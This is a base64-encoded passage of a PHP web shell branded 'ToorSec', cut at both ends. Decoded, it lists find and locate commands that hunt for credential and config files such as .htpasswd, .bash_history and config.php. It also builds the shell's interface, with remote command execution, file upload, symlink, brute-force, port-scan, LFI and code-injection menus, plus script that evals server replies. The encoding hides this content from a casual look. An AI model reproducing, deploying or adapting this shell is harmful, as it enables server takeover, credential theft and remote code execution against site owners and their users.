FwiY29uZmlnKlwiIiwNCiAgCQkiZmluZCBjb25maWcqIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLW5hbWUgXCJjb25maWcqXCIiLA0KICAJCSJmaW5kIGFsbCB3cml0YWJsZSBmb2xkZXJzIGFuZCBmaWxlcyIgPT4gImZpbmQgLyAtcGVybSAtMiAtbHMiLA0KICAJCSJmaW5kIGFsbCB3cml0YWJsZSBmb2xkZXJzIGFuZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtcGVybSAtMiAtbHMiLA0KICAJCSJmaW5kIGFsbCBzZXJ2aWNlLnB3ZCBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkIiwNCiAgCQkiZmluZCBzZXJ2aWNlLnB3ZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkIiwNCiAgCQkiZmluZCBhbGwgLmh0cGFzc3dkIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgLmh0cGFzc3dkIiwNCiAgCQkiZmluZCAuaHRwYXNzd2QgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuaHRwYXNzd2QiLA0KICAJCSJmaW5kIGFsbCAuYmFzaF9oaXN0b3J5IGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgLmJhc2hfaGlzdG9yeSIsDQogIAkJImZpbmQgLmJhc2hfaGlzdG9yeSBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIC5iYXNoX2hpc3RvcnkiLA0KICAJCSJmaW5kIGFsbCAuZmV0Y2htYWlscmMgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuZmV0Y2htYWlscmMiLA0KICAJCSJmaW5kIC5mZXRjaG1haWxyYyBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIC5mZXRjaG1haWxyYyIsDQoJCSJMb2NhdGUiID0+ICIiLA0KICAJCSJsb2NhdGUgaHR0cGQuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSBodHRwZC5jb25mIiwNCgkJImxvY2F0ZSB2aG9zdHMuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSB2aG9zdHMuY29uZiIsDQoJCSJsb2NhdGUgcHJvZnRwZC5jb25mIGZpbGVzIiA9PiAibG9jYXRlIHByb2Z0cGQuY29uZiIsDQoJCSJsb2NhdGUgcHN5Ym5jLmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgcHN5Ym5jLmNvbmYiLA0KCQkibG9jYXRlIG15LmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgbXkuY29uZiIsDQoJCSJsb2NhdGUgYWRtaW4ucGhwIGZpbGVzIiA9PiJsb2NhdGUgYWRtaW4ucGhwIiwNCgkJImxvY2F0ZSBjZmcucGhwIGZpbGVzIiA9PiAibG9jYXRlIGNmZy5waHAiLA0KCQkibG9jYXRlIGNvbmYucGhwIGZpbGVzIiA9PiAibG9jYXRlIGNvbmYucGhwIiwNCgkJImxvY2F0ZSBjb25maWcuZGF0IGZpbGVzIiA9PiAibG9jYXRlIGNvbmZpZy5kYXQiLA0KCQkibG9jYXRlIGNvbmZpZy5waHAgZmlsZXMiID0+ICJsb2NhdGUgY29uZmlnLnBocCIsDQoJCSJsb2NhdGUgY29uZmlnLmluYyBmaWxlcyIgPT4gImxvY2F0ZSBjb25maWcuaW5jIiwNCgkJImxvY2F0ZSBjb25maWcuaW5jLnBocCIgPT4gImxvY2F0ZSBjb25maWcuaW5jLnBocCIsDQoJCSJsb2NhdGUgY29uZmlnLmRlZmF1bHQucGhwIGZpbGVzIiA9PiAibG9jYXRlIGNvbmZpZy5kZWZhdWx0LnBocCIsDQoJCSJsb2NhdGUgY29uZmlnKiBmaWxlcyAiID0+ICJsb2NhdGUgY29uZmlnIiwNCgkJImxvY2F0ZSAuY29uZiBmaWxlcyI9PiJsb2NhdGUgJy5jb25mJyIsDQoJCSJsb2NhdGUgLnB3ZCBmaWxlcyIgPT4gImxvY2F0ZSAnLnB3ZCciLA0KCQkibG9jYXRlIC5zcWwgZmlsZXMiID0+ICJsb2NhdGUgJy5zcWwnIiwNCgkJImxvY2F0ZSAuaHRwYXNzd2QgZmlsZXMiID0+ICJsb2NhdGUgJy5odHBhc3N3ZCciLA0KCQkibG9jYXRlIC5iYXNoX2hpc3RvcnkgZmlsZXMiID0+ICJsb2NhdGUgJy5iYXNoX2hpc3RvcnknIiwNCgkJImxvY2F0ZSAubXlzcWxfaGlzdG9yeSBmaWxlcyIgPT4gImxvY2F0ZSAnLm15c3FsX2hpc3RvcnknIiwNCgkJImxvY2F0ZSAuZmV0Y2htYWlscmMgZmlsZXMiID0+ICJsb2NhdGUgJy5mZXRjaG1haWxyYyciLA0KCQkibG9jYXRlIGJhY2t1cCBmaWxlcyIgPT4gImxvY2F0ZSBiYWNrdXAiLA0KCQkibG9jYXRlIGR1bXAgZmlsZXMiID0+ICJsb2NhdGUgZHVtcCIsDQoJCSJsb2NhdGUgcHJpdiBmaWxlcyIgPT4gImxvY2F0ZSBwcml2IgkNCgkpOw0KDQpmdW5jdGlvbiBCT0ZGSGVhZGVyKCkgew0KCWlmKGVtcHR5KCRfUE9TVFsnY2hhcnNldCddKSkNCgkJJF9QT1NUWydjaGFyc2V0J10gPSAkR0xPQkFMU1snZGVmYXVsdF9jaGFyc2V0J107DQoJZ2xvYmFsICRjb2xvcjsNCgllY2hvICI8aHRtbD48aGVhZD48bWV0YSBodHRwLWVxdWl2PSdDb250ZW50LVR5cGUnIGNvbnRlbnQ9J3RleHQvaHRtbDsgY2hhcnNldD0iIC4gJF9QT1NUWydjaGFyc2V0J10gLiAiJz48dGl0bGU+IiAuICRfU0VSVkVSWyckIFRvb3JTZWMnXSAuICIkIFRvb3JTZWM8L3RpdGxlPg0KPGxpbmsgaHJlZj0naHR0cDovL2ZvbnRzLmdvb2dsZWFwaXMuY29tL2Nzcz9mYW1pbHk9SWNlbGFuZCcgcmVsPSdzdHlsZXNoZWV0JyB0eXBlPSd0ZXh0L2Nzcyc+DQo8c3R5bGU+DQpib2R5e2JhY2tncm91bmQ6dXJsKGh0dHA6Ly9pLmltZ3VyLmNvbS96Snc1SGwzLnBuZyk7Y29sb3I6IzZiNmI2Yjt9DQpib2R5LHRkLHRoeyBib3JkZXI6MHB4OyA7Zm9udDogMTNwdCBJY2VsYW5kLEljZWxhbmQ7bWFyZ2luOjA7dmVydGljYWwtYWxpZ246dG9wO2NvbG9yOiMwMEYwMDA7IH0NCnRhYmxlLmluZm97IHBhZGRpbmc6IDAgMTVweDsgY29sb3I6IzAwRjAwMDsgYmFja2dyb3VuZC1jb2xvcjojMDAwOyB9DQpzcGFuLGgxLGF7IGNvbG9yOiAjMDBGMDAwICFpbXBvcnRhbnQ7IH0NCnNwYW57IGZvbnQtd2VpZ2h0OiBib2xkZXI7IH0NCmgxeyBwYWRkaW5nOiAwcHggNXB4O2ZvbnQ6IDE0cHQgSWNlbGFuZDtiYWNrZ3JvdW5kLWNvbG9yOiMwMDA7bWFyZ2luOjBweDsgfQ0KZGl2LmNvbnRlbnR7IHBhZGRpbmc6IDdweDttYXJnaW4tbGVmdDo3cHg7YmFja2dyb3VuZC1jb2xvcjpibGFjazsgfQ0KYXsgdGV4dC1kZWNvcmF0aW9uOm5vbmU7IH0NCmE6aG92ZXJ7IHRleHQtZGVjb3JhdGlvbjp1bmRlcmxpbmU7IH0NCi5tbDF7IGJvcmRlcjoxcHggc29saWQgIzAwMDAwMDtwYWRkaW5nOjVweDttYXJnaW46MDtvdmVyZmxvdzogYXV0bzsgfQ0KLmJpZ2FyZWF7IHdpZHRoOjEwMCU7aGVpZ2h0OjI1MHB4OyB9DQppbnB1dCx0ZXh0YXJlYSxzZWxlY3R7IG1hcmdpbjowO2NvbG9yOiMwMEYwMDA7YmFja2dyb3VuZC1jb2xvcjojMDAwMDAwO2JvcmRlcjoxcHggc29saWQgIzAwRjAwMDsgZm9udDogMTBwdCBJY2VsYW5kLCdJY2VsYW5kJzsgfQ0KZm9ybXsgbWFyZ2luOjBweDsgfQ0KI3Rvb2xzVGJseyB0ZXh0LWFsaWduOmNlbnRlcjsgfQ0KLnRvb2xzSW5weyB3aWR0aDogMzAwcHggfQ0KLm1haW4gdGh7dGV4dC1hbGlnbjpsZWZ0O2JhY2tncm91bmQtY29sb3I6YmxhY2s7fQ0KLm1haW4gdHI6aG92ZXJ7Ym9yZGVyOjJweCBvdXRzZXQgIzAwRjAwMDs7YmFja2dyb3VuZC1jb2xvcjojMDAwfQ0KLmwxe2JhY2tncm91bmQtY29sb3I6IzAwMDAwMH0NCi5sMntiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrfQ0KcHJle2ZvbnQtZmFtaWx5OkljZWxhbmQsSWNlbGFuZDt9DQo8L3N0eWxlPg0KPHNjcmlwdD4NCiAgICB2YXIgY18gPSAnIiAuIGh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKSAuICInOw0KICAgIHZhciBhXyA9ICciIC4gaHRtbHNwZWNpYWxjaGFycyhAJF9QT1NUWydhJ10pIC4iJw0KICAgIHZhciBjaGFyc2V0XyA9ICciIC4gaHRtbHNwZWNpYWxjaGFycyhAJF9QT1NUWydjaGFyc2V0J10pIC4iJzsNCiAgICB2YXIgcDFfID0gJyIgLiAoKHN0cnBvcyhAJF9QT1NUWydwMSddLCJcbiIpIT09ZmFsc2UpPycnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddLEVOVF9RVU9URVMpKSAuIic7DQogICAgdmFyIHAyXyA9ICciIC4gKChzdHJwb3MoQCRfUE9TVFsncDInXSwiXG4iKSE9PWZhbHNlKT8nJzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDInXSxFTlRfUVVPVEVTKSkgLiInOw0KICAgIHZhciBwM18gPSAnIiAuICgoc3RycG9zKEAkX1BPU1RbJ3AzJ10sIlxuIikhPT1mYWxzZSk/Jyc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AzJ10sRU5UX1FVT1RFUykpIC4iJzsNCiAgICB2YXIgZCA9IGRvY3VtZW50Ow0KCWZ1bmN0aW9uIHNldChhLGMscDEscDIscDMsY2hhcnNldCkgew0KCQlpZihhIT1udWxsKWQubWYuYS52YWx1ZT1hO2Vsc2UgZC5tZi5hLnZhbHVlPWFfOw0KCQlpZihjIT1udWxsKWQubWYuYy52YWx1ZT1jO2Vsc2UgZC5tZi5jLnZhbHVlPWNfOw0KCQlpZihwMSE9bnVsbClkLm1mLnAxLnZhbHVlPXAxO2Vsc2UgZC5tZi5wMS52YWx1ZT1wMV87DQoJCWlmKHAyIT1udWxsKWQubWYucDIudmFsdWU9cDI7ZWxzZSBkLm1mLnAyLnZhbHVlPXAyXzsNCgkJaWYocDMhPW51bGwpZC5tZi5wMy52YWx1ZT1wMztlbHNlIGQubWYucDMudmFsdWU9cDNfOw0KCQlpZihjaGFyc2V0IT1udWxsKWQubWYuY2hhcnNldC52YWx1ZT1jaGFyc2V0O2Vsc2UgZC5tZi5jaGFyc2V0LnZhbHVlPWNoYXJzZXRfOw0KCX0NCglmdW5jdGlvbiBnKGEsYyxwMSxwMixwMyxjaGFyc2V0KSB7DQoJCXNldChhLGMscDEscDIscDMsY2hhcnNldCk7DQoJCWQubWYuc3VibWl0KCk7DQoJfQ0KCWZ1bmN0aW9uIGEoYSxjLHAxLHAyLHAzLGNoYXJzZXQpIHsNCgkJc2V0KGEsYyxwMSxwMixwMyxjaGFyc2V0KTsNCgkJdmFyIHBhcmFtcyA9ICdhamF4PXRydWUnOw0KCQlmb3IoaT0wO2k8ZC5tZi5lbGVtZW50cy5sZW5ndGg7aSsrKQ0KCQkJcGFyYW1zICs9ICcmJytkLm1mLmVsZW1lbnRzW2ldLm5hbWUrJz0nK2VuY29kZVVSSUNvbXBvbmVudChkLm1mLmVsZW1lbnRzW2ldLnZhbHVlKTsNCgkJc3IoJyIgLiBhZGRzbGFzaGVzKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKSAuIicsIHBhcmFtcyk7DQoJfQ0KCWZ1bmN0aW9uIHNyKHVybCwgcGFyYW1zKSB7CQ0KCQlpZiAod2luZG93LlhNTEh0dHBSZXF1ZXN0KQ0KCQkJcmVxID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7DQoJCWVsc2UgaWYgKHdpbmRvdy5BY3RpdmVYT2JqZWN0KQ0KCQkJcmVxID0gbmV3IEFjdGl2ZVhPYmplY3QoJ01pY3Jvc29mdC5YTUxIVFRQJyk7DQogICAgICAgIGlmIChyZXEpIHsNCiAgICAgICAgICAgIHJlcS5vbnJlYWR5c3RhdGVjaGFuZ2UgPSBwcm9jZXNzUmVxQ2hhbmdlOw0KICAgICAgICAgICAgcmVxLm9wZW4oJ1BPU1QnLCB1cmwsIHRydWUpOw0KICAgICAgICAgICAgcmVxLnNldFJlcXVlc3RIZWFkZXIgKCdDb250ZW50LVR5cGUnLCAnYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJyk7DQogICAgICAgICAgICByZXEuc2VuZChwYXJhbXMpOw0KICAgICAgICB9DQoJfQ0KCWZ1bmN0aW9uIHByb2Nlc3NSZXFDaGFuZ2UoKSB7DQoJCWlmKCAocmVxLnJlYWR5U3RhdGUgPT0gNCkgKQ0KCQkJaWYocmVxLnN0YXR1cyA9PSAyMDApIHsNCgkJCQl2YXIgcmVnID0gbmV3IFJlZ0V4cChcIihcXFxcZCspKFtcXFxcU1xcXFxzXSopXCIsICdtJyk7DQoJCQkJdmFyIGFycj1yZWcuZXhlYyhyZXEucmVzcG9uc2VUZXh0KTsNCgkJCQlldmFsKGFyclsyXS5zdWJzdHIoMCwgYXJyWzFdKSk7DQoJCQl9IGVsc2UgYWxlcnQoJ1JlcXVlc3QgZXJyb3IhJyk7DQoJfQ0KPC9zY3JpcHQ+DQo8aGVhZD48Ym9keT48ZGl2IHN0eWxlPSdwb3NpdGlvbjpyZWxhdGl2ZTsgCWxlZnQ6IDYwcHg7IAlib3JkZXI6IDFweCBzb2xpZCAjMDBGMDAwOw0KDQp3aWR0aDo5MCU7YmFja2dyb3VuZC1jb2xvcjojMDAwMDAwOyc+DQo8Zm9ybSBtZXRob2Q9cG9zdCBuYW1lPW1mIHN0eWxlPSdkaXNwbGF5Om5vbmU7Jz4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWE+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jPg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDE+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMj4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAzPg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldD4NCjwvZm9ybT4iOw0KCSRmcmVlU3BhY2UgPSBAZGlza2ZyZWVzcGFjZSgkR0xPQkFMU1snY3dkJ10pOw0KCSR0b3RhbFNwYWNlID0gQGRpc2tfdG90YWxfc3BhY2UoJEdMT0JBTFNbJ2N3ZCddKTsNCgkkdG90YWxTcGFjZSA9ICR0b3RhbFNwYWNlPyR0b3RhbFNwYWNlOjE7DQoJJHJlbGVhc2UgPSBAcGhwX3VuYW1lKCdyJyk7DQoJJGtlcm5lbCA9IEBwaHBfdW5hbWUoJ3MnKTsNCglpZihzdHJwb3MoJ0xpbnV4JywgJGtlcm5lbCkgIT09IGZhbHNlKQ0KCQkkZXhwbGluayAuPSB1cmxlbmNvZGUoJ0xpbnV4IEtlcm5lbCAnIC4gc3Vic3RyKCRyZWxlYXNlLDAsNikpOw0KCWVsc2UNCgkJJGV4cGxpbmsgLj0gdXJsZW5jb2RlKCRrZXJuZWwgLiAnICcgLiBzdWJzdHIoJHJlbGVhc2UsMCwzKSk7DQoJaWYoIWZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKSB7DQoJCSR1c2VyID0gQGdldF9jdXJyZW50X3VzZXIoKTsNCgkJJHVpZCA9IEBnZXRteXVpZCgpOw0KCQkkZ2lkID0gQGdldG15Z2lkKCk7DQoJCSRncm91cCA9ICI/IjsNCgl9IGVsc2Ugew0KCQkkdWlkID0gQHBvc2l4X2dldHB3dWlkKHBvc2l4X2dldGV1aWQoKSk7DQoJCSRnaWQgPSBAcG9zaXhfZ2V0Z3JnaWQocG9zaXhfZ2V0ZWdpZCgpKTsNCgkJJHVzZXIgPSAkdWlkWyduYW1lJ107DQoJCSR1aWQgPSAkdWlkWyd1aWQnXTsNCgkJJGdyb3VwID0gJGdpZFsnbmFtZSddOw0KCQkkZ2lkID0gJGdpZFsnZ2lkJ107DQoJfQ0KDQoJJGN3ZF9saW5rcyA9ICcnOw0KCSRwYXRoID0gZXhwbG9kZSgiLyIsICRHTE9CQUxTWydjd2QnXSk7DQoJJG49Y291bnQoJHBhdGgpOw0KCWZvcigkaT0wOyAkaTwkbi0xOyAkaSsrKSB7DQoJCSRjd2RfbGlua3MgLj0gIjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLFwiIjsNCgkJZm9yKCRqPTA7ICRqPD0kaTsgJGorKykNCgkJCSRjd2RfbGlua3MgLj0gJHBhdGhbJGpdLicvJzsNCgkJJGN3ZF9saW5rcyAuPSAiXCIpJz4iLiRwYXRoWyRpXS4iLzwvYT4iOw0KCX0NCg0KCSRjaGFyc2V0cyA9IGFycmF5KCdVVEYtOCcsICdXaW5kb3dzLTEyNTEnLCAnS09JOC1SJywgJ0tPSTgtVScsICdjcDg2NicpOw0KCSRvcHRfY2hhcnNldHMgPSAnJzsNCglmb3JlYWNoKCRjaGFyc2V0cyBhcyAkaXRlbSkNCgkJJG9wdF9jaGFyc2V0cyAuPSAnPG9wdGlvbiB2YWx1ZT0iJy4kaXRlbS4nIiAnLigkX1BPU1RbJ2NoYXJzZXQnXT09JGl0ZW0/J3NlbGVjdGVkJzonJykuJz4nLiRpdGVtLic8L29wdGlvbj4nOw0KDQoJJG0gPSBhcnJheSgnU2VjLiBJbmZvJz0+J1NlY0luZm8nLCdGaWxlcyc9PidGaWxlc01hbicsJ1N5bWxpbmsnPT4nU3ltbGluaycsJ1BlcmwuU3ltJz0+J1BTeW1saW5rJywnQ29uc29sZSc9PidDb25zb2xlJywnU3FsJz0+J1NxbCcsJ1BocCc9PidQaHAnLCdTYWZlIG1vZGUnPT4nU2FmZU1vZGUnLCdTdHJpbmcgdG9vbHMnPT4nU3RyaW5nVG9vbHMnLCdCcnV0ZWZvcmNlJz0+J0JydXRlZm9yY2UnLCdOZXR3b3JrJz0+J05ldHdvcmsnLCdQb3J0IFNjYW5uZXInPT4nUG9ydFNjYW5uZXInLCdMRkknPT4nbGZpc2NhbicsJ0NvZGUgSW5qZWN0b3InPT4nSW5qZWN0b3InKTsNCglpZighZW1wdHkoJEdMT0JBTFNbJ2F1dGhfcGFzcyddKSkNCgkJJG1bJ0xvZ291dCddID0gJ0xvZ291dCc7DQoJJG1bJ1Rvb3JTZWMnXSA9ICdUb29yU2VjJzsNCgkkbWVudSA9ICcnOw0KCWZvcmVhY2goJG0gYXMgJGsgPT4gJHYpDQoJCSRtZW51IC49ICc8dGggd2lkdGg9IicuKGludCkoMTAwL2NvdW50KCRtKSkuJyUiPns8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnJy4kdi4nXCcsbnVsbCxcJ1wnLFwnXCcsXCdcJykiPicuJGsuJzwvYT59PC90aD4nOw0KDQoJJGRyaXZlcyA9ICIiOw0KCWlmKCRHTE9CQUxTWydvcyddID09ICd3aW4nKSB7DQoJCWZvcmVhY2gocmFuZ2UoJ2MnLCd6JykgYXMgJGRyaXZlKQ0KCQlpZihpc19kaXIoJGRyaXZlLic6XFwnKSkNCgkJCSRkcml2ZXMgLj0gJzxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxlc01hblwnLFwnJy4kZHJpdmUuJzovXCcpIj5bICcuJGRyaXZlLicgXTwvYT4gJzsNCgl9DQoJZWNobyAnPHRhYmxlIGNsYXNzPWluZm8gY2VsbHBhZGRpbmc9MyBjZWxsc3BhY2luZz0wIHdpZHRoPTEwMCU+PHRyPjx0ZCB3aWR0aD0xPjxzcGFuPlVuYW1lOjxicj5Vc2VyOjxicj5QaHA6PGJyPkhERDo8YnI+UHdkOicgLiAoJEdMT0JBTFNbJ29zJ10gPT0gJ3dpbic/Jzxicj5Ecml2ZXM6JzonJykgLiAnPC9zcGFuPjwvdGQ+Jw0KICAgICAgIC4gJzx0ZD48bm9icj4nIC4gc3Vic3RyKEBwaHBfdW5hbWUoKSwgMCwgMTIwKSAuICcgPC9ub2JyPjxicj4nIC4gJHVpZCAuICcgKCAnIC4gJHVzZXIgLiAnICkgPHNwYW4+R3JvdXA6PC9zcGFuPiAnIC4gJGdpZCAuICcgKCAnIC4gJGdyb3VwIC4gJyApPGJyPicgLiBAcGhwdmVyc2lvbigpIC4gJyA8c3Bhbj5TYWZlIG1vZGU6PC9zcGFuPiAnIC4gKCRHTE9CQUxTWydzYWZlX21vZGUnXT8nPGZvbnQgY29sb3I9cmVkPk9OPC9mb250Pic6Jzxmb250IGNvbG9yPSNGRkZGRkY+PGI+T0ZGPC9iPjwvZm9udD4nKQ0KICAgICAgIC4gJyA8YSBocmVmPSMgb25jbGljaz0iZyhcJ1BocFwnLG51bGwsXCdcJyxcJ2luZm9cJykiPlsgcGhwaW5mbyBdPC9hPiA8c3Bhbj5EYXRlL1RpbWU6PC9zcGFuPiAnIC4gZGF0ZSgnZC1tLXkgSDppOnMnKSAuICc8YnI+JyAuIEJPRkZWaWV3U2l6ZSgkdG90YWxTcGFjZSkgLiAnIDxzcGFuPkZyZWU6PC9zcGFuPiAnIC4gQk9GRlZpZXdTaXplKCRmcmVlU3BhY2UpIC4gJyAoJy4gKGludCkgKCRmcmVlU3BhY2UvJHRvdGFsU3BhY2UqMTAwKSAuICclKTxicj4nIC4gJGN3ZF9saW5rcyAuICcgJy4gQk9GRlBlcm1zQ29sb3IoJEdMT0JBTFNbJ2N3ZCddKSAuICcgPGEgaHJlZj0jIG9uY2xpY2s9ImcoXCdGaWxlc01hblwnLFwnJyAuICRHTE9CQUxTWydob21lX2N3ZCddIC4gJ1wnLFwnXCcsXCdcJyxcJ1wnKSI+WyBob21lIF08L2E+PGJyPicgLiAkZHJpdmVzIC4gJzwvdGQ+Jw0KICAgICAgIC4gJzx0ZCB3aWR0aD0xIGFsaWduPXJpZ2h0Pjxub2JyPjxzZWxlY3Qgb25jaGFuZ2U9ImcobnVsbCxudWxsLG51bGwsbnVsbCxudWxsLHRoaXMudmFsdWUpIj48b3B0Z3JvdXAgbGFiZWw9IlBhZ2UgY2hhcnNldCI+JyAuICRvcHRfY2hhcnNldHMgLiAnPC9vcHRncm91cD48L3NlbGVjdD48YnI+PHNwYW4+U2VydmVyIElQOjwvc3Bhbj48YnI+JyAuIEAkX1NFUlZFUlsiU0VSVkVSX0FERFIiXSAuICc8YnI+PHNwYW4+Q2xpZW50IElQOjwvc3Bhbj48YnI+JyAuICRfU0VSVkVSWydSRU1PVEVfQUREUiddIC4gJzwvbm9icj48L3RkPjwvdHI+PC90YWJsZT4nDQogICAgICAgLiAnPHRhYmxlIHN0eWxlPSJib3JkZXItdG9wOjJweCBzb2xpZCAjMDBGMDAwOyIgY2VsbHBhZGRpbmc9MyBjZWxsc3BhY2luZz0wIHdpZHRoPTEwMCU+PHRyPicgLiAkbWVudSAuICc8L3RyPjwvdGFibGU+PGRpdiBzdHlsZT0ibWFyZ2luOjUiPic7DQp9DQoNCmZ1bmN0aW9uIEJPRkZGb290ZXIoKSB7DQoJJGlzX3dyaXRhYmxlID0gaXNfd3JpdGFibGUoJEdMT0JBTFNbJ2N3ZCddKT8iIDxmb250IGNvbG9yPScjRkZGRkZGJz4oV3JpdGVhYmxlKTwvZm9udD4iOiIgPGZvbnQgY29sb3I9I0ZGMDAwMD4oTm90IHdyaXRlYWJsZSk8L2ZvbnQ+IjsNCiAgICBlY2hvICINCjwvZGl2Pg0KPHRhYmxlIGNsYXNzPWluZm8gaWQ9dG9vbHNUYmwgY2VsbHBhZGRpbmc9MyBjZWxsc3BhY2luZz0wIHdpZHRoPTEwMCUgIHN0eWxlPSdib3JkZXItdG9wOjJweCBzb2xpZCAjMDBGMDAwO2JvcmRlci1ib3R0b206MnB4IHNvbGlkICMwMEYwMDA7Jz4NCgk8dHI+DQoJCTx0ZD48Zm9ybSBvbnN1Ym1pdD0nZyhudWxsLHRoaXMuYy52YWx1ZSxcIlwiKTtyZXR1cm4gZmFsc2U7Jz48c3Bhbj5DaGFuZ2UgZGlyOjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSd0b29sc0lucCcgdHlwZT10ZXh0IG5hbWU9YyB2YWx1ZT0nIiAuIGh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKSAuIic+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjwvdGQ+DQoJCTx0ZD48Zm9ybSBvbnN1Ym1pdD1cImcoJ0ZpbGVzVG9vbHMnLG51bGwsdGhpcy5mLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCI+PHNwYW4+UmVhZCBmaWxlOjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSd0b29sc0lucCcgdHlwZT10ZXh0IG5hbWU9Zj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+PC90ZD4NCgk8L3RyPjx0cj4NCgkJPHRkPjxmb3JtIG9uc3VibWl0PVwiZygnRmlsZXNNYW4nLG51bGwsJ21rZGlyJyx0aGlzLmQudmFsdWUpO3JldHVybiBmYWxzZTtcIj48c3Bhbj5NYWtlIGRpcjo8L3NwYW4+JGlzX3dyaXRhYmxlPGJyPjxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1lPWQ+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjwvdGQ+DQoJCTx0ZD48Zm9ybSBvbnN1Ym1pdD1cImcoJ0ZpbGVzVG9vbHMnLG51bGwsdGhpcy5mLnZhbHVlLCdta2ZpbGUnKTtyZXR1cm4gZmFsc2U7XCI+PHNwYW4+TWFrZSBmaWxlOjwvc3Bhbj4kaXNfd3JpdGFibGU8YnI+PGlucHV0IGNsYXNzPSd0b29sc0lucCcgdHlwZT10ZXh0IG5hbWU9Zj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+PC90ZD4NCgk8L3RyPjx0cj4NCgkJPHRkPjxmb3JtIG9uc3VibWl0PVwiZygnQ29uc29sZScsbnVsbCx0aGlzLmMudmFsdWUpO3JldHVybiBmYWxzZTtcIj48c3Bhbj5FeGVjdXRlOjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSd0b29sc0lucCcgdHlwZT10ZXh0IG5hbWU9YyB2YWx1ZT0nJz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+PC90ZD4NCgkJPHRkPjxmb3JtIG1ldGhvZD0ncG9zdCcgRU5DVFlQRT0nbXVsdGlwYXJ0L2Zvcm0tZGF0YSc+DQoJCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J0ZpbGVzTUFuJz4NCgkJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0nIiAuICRHTE9CQUxTWydjd2QnXSAuIic+DQoJCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAxIHZhbHVlPSd1cGxvYWRGaWxlJz4NCgkJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0nIiAuIChpc3NldCgkX1BPU1RbJ2NoYXJzZXQnXSk/JF9QT1NUWydjaGFyc2V0J106JycpIC4gIic+DQoJCTxzcGFuPlVwbG9hZCBmaWxlOjwvc3Bhbj4kaXNfd3JpdGFibGU8YnI+PGlucHV0IGNsYXNzPSd0b29sc0lucCcgdHlwZT1maWxlIG5hbWU9Zj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+PGJyICA+PC90ZD4NCgk8L3RyPg0KCQk8dGQ+PGNlbnRlcj4kIE1BR25pRmljMCBpblNpRGUgeU91UiBiT3ggLV8tPC90ZD4NCgkJPHRkPjxjZW50ZXI+V2hlcmUgdGhlcmUgaXMgYSBTaGVsbCAtIFRoZXJlIGlzIGEgd2F5ITwvdGQ+DQoNCgk8L3RhYmxlPjwvZGl2Pg0KCQkNCg0KCTwvYm9keT48L2h0bWw+IjsNCn0NCg0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHB3dWlkIikgJiYgKHN0cnBvcygkR0xPQkFMU1snZGlzYWJsZV9mdW5jdGlvbnMnXSwgJ3Bvc2l4X2dldHB3dWlkJyk9PT1mYWxzZSkpIHsNCiAgICBmdW5jdGlvbiBwb3NpeF9nZXRwd3VpZCgkcCkge3JldHVybiBmYWxzZTt9IH0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRncmdpZCIpICYmIChzdHJwb3M